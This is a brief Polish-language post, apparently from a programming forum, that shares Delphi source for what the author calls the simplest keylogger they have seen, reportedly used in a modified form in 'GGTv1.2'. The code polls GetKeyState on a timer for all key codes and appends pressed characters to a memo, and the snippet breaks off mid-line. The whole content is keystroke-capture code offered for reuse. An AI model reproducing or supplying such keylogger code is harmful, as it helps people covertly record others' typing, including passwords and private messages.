najprostszy key logger jaki widzałem , lekko zmodyfikowany kod uzylem w GGTv1.2,
procedure TForm1.Timer1Timer(Sender: TObject);
var
pos, c : integer;
begin
for c:= 1 to 255 do begin;
pos := GetKeyState(c);
If Copy(IntToStr(pos),1,1) = '-' Then begin;
memo1.Text := Memo1.Text + chr(c)...